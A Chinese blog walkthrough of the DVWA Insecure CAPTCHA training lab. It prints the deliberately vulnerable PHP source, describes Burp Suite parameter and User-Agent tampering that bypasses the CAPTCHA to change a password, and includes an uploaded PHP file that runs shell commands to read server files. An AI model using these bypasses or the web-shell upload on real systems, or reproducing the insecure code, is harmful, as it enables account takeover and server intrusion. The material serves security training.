DVWA-Insecure CAPTCHA(不安全的验证码)

news/发布时间2024/6/17 22:50:50

Insecure CAPTCHA 意思是不安全的验证码,指验证在验证过程中,存在逻辑漏洞,导致可以绕过验证。CAPTCHA全称为:Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)。

DVWA-Insecure CAPTCHA级别:

  --low

  --medium

  --high

  --impossible

dvwaconfig.inc.php默认没有配置recaptcha_public_keyrecaptche_private_key 的值。导致该页面无法全部显示完全部内容。

 可以通过MD5生成随机加密串:

MD5加密的内容放到/var/www/html/config/config.inc.php 配置文件recaptcha_public_key recaptcha_private_key

刷新页面:

 

--low级别:

服务器端代码:

<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";
        }else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

可以看到这里将验证流程分为两个步骤,而且这两个步骤的验证过程是独立的(两个if没有包含在一起)。第1step==1时,验证秘钥是否正确,如果秘钥正确的话,又自动发起一次请求并将参数step设置为2。第2step==2时,验证新密码和确认密码一致时,就可以修改密码成功。

通过burp suite拦截接口,然后篡改step参数为2,看看是不是能修改密码成功

 

--medium级别:

服务器端代码:

<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";
        }else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;}// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

可以看到在medium中,在第1步(step==1)时,校验密码成功后,再请求第2步(step==2)时,加入了passed_captcha参数带入值为true,代表在第1步的密码已经验证通过,再验证新密码和确认密码通过后,就可以修改密码了。

那么通过burp suite拦截接口后,将step=1,改为step=2,同时增加参数passed_captcha=true,就可以进行密码修改。

修改好参数后,在放开拦截。密码修改成功了。

因为,在修改密码的第2步时服务器端调用的,在前端抓包根本就不知道有passed_captcha这个参数和值。那要怎么办?其他结合File Upload的包含漏洞,写一个php文件去读取服务器上源文件的信息就可以了。

写一个captcha_info.php 文件,如下:

<?phpecho "<br/>captcha目录的位置:<br/>"; $find_captcha = shell_exec("find / -name captcha");echo $find_captcha;echo "<br/>captcha目录信息:<br/>";$captcha_file = shell_exec("ls $find_captcha");echo $captcha_file;echo "<br/>captcha/source目录信息:<br/>";$captcha_source = shell_exec("ls $find_captcha/source");echo $captcha_source;echo "<br/>打印captcha/source/medium.php的信息:<br/>";$captcha_content = shell_exec("cat /var/www/html/vulnerabilities/captcha/source/medium.php");echo "$captcha_content";?>

将文件上传到服务器上

在浏览器中调用../../hackable/uploads/captcha_info.php,执行结果如下:

所以说漏洞要相互利用,才能起到最大的作用。同时不要因为一个小小的漏洞而忽略掉修复,最终造成不必要的损失,老话说得好:千里之堤毁于蚁穴,就是这个道理。

--high级别:

服务器端代码:

<?phpif( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for userecho "<pre>Password Changed.</pre>";} else {// Ops. Password mismatch$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} else {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>
在high中已经将步骤2去掉将整个验证过程合在一起,所以不能直接跳过验证步骤1的方式了。但是在修改密码有一个判断
if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'))
如果这个成立后,才会修改密码。$resp 是通过recaptcha_check_answe()将用户提交的验证信息提交由reCAPTCHA进行验证,
并返回结果信息,没法绕过。但是,$resp后面判断逻辑竟然是或”
||”符号,那也就是说括号里面的结果为True时,就可以执行if里面的修改密码功能。

通过burp suite拦截接口,并将请求头中的信息User-Agent改为reCAPTCHA,并将新增参数g-recaptcha-response=hidd3n_valu3。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.jwkm.cn/p/72518758.html

如若内容造成侵权/违法违规/事实不符,请联系宁远站长网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

VSCOde+Nodejs+Typescript前端开发环境

1.安装Node.js 下载地址:https://nodejs.org/en lts版本: 长久稳定版本 安装:默认安装就可以了 验证:node2.VSCode 下载地址:https://code.visualstudio.com/Download 安装:默认安装 语言切换: 安装中文插件,重启3.支持TypeScript TypeScript是JavaScript的超集,强制进…

读十堂极简人工智能课笔记04_计算机视觉

计算机视觉1. 仙女蜂 1.1. Megaphragma mymaripenne 1.2. 一种微小的蜂类 1.3. 人类已知第三小的昆虫 1.4. 大脑仅由7400个神经元组成,比大型昆虫的大脑小了好几个数量级 1.5. 微小的身体里没有空间容纳这些神经元,所以在生长的最后阶段,它把每个神经元内最重要的细胞核剥离…

2024.2.16

寄 算是比较难的树形dp了吧。。。 我的跟题解做法不太一样,是维护2个数组 \(dp_{0/1,i}\) 和 \(f_{0/1,i}\)。不太好说,看题解做法吧QAQ。原神 #include <bits/stdc++.h>typedef long long ll;const ll SIZE = 10000 + 100;ll N, M, a[SIZE]; ll C;ll cnt = 1, head[SI…

车辆智能制造能力概述

车辆智能制造能力概述 图2-73表示车辆制造能力示例。图2-73. 车辆制造能力示例 图2-74表示车辆智能车间示例。图2-74. 车辆智能车间示例 图2-75表示车辆智慧物流示例(一)。图2-75. 车辆智慧物流示例(一) 图2-76表示车辆智慧物流示例(二)。图2-76. 车辆智慧物流示例(二)…

Large Batch Experience Replay

发表时间:2021(ICML 2022) 文章要点:这篇文章把experience replay看做一个通过importance sampling来估计梯度的问题,从理论上推导经验回放的最优采样分布,然后提出LaBER (Large Batch Experience Replay)算法来近似这个采样分布。 非均匀采样mini batch可以看成一个基于re…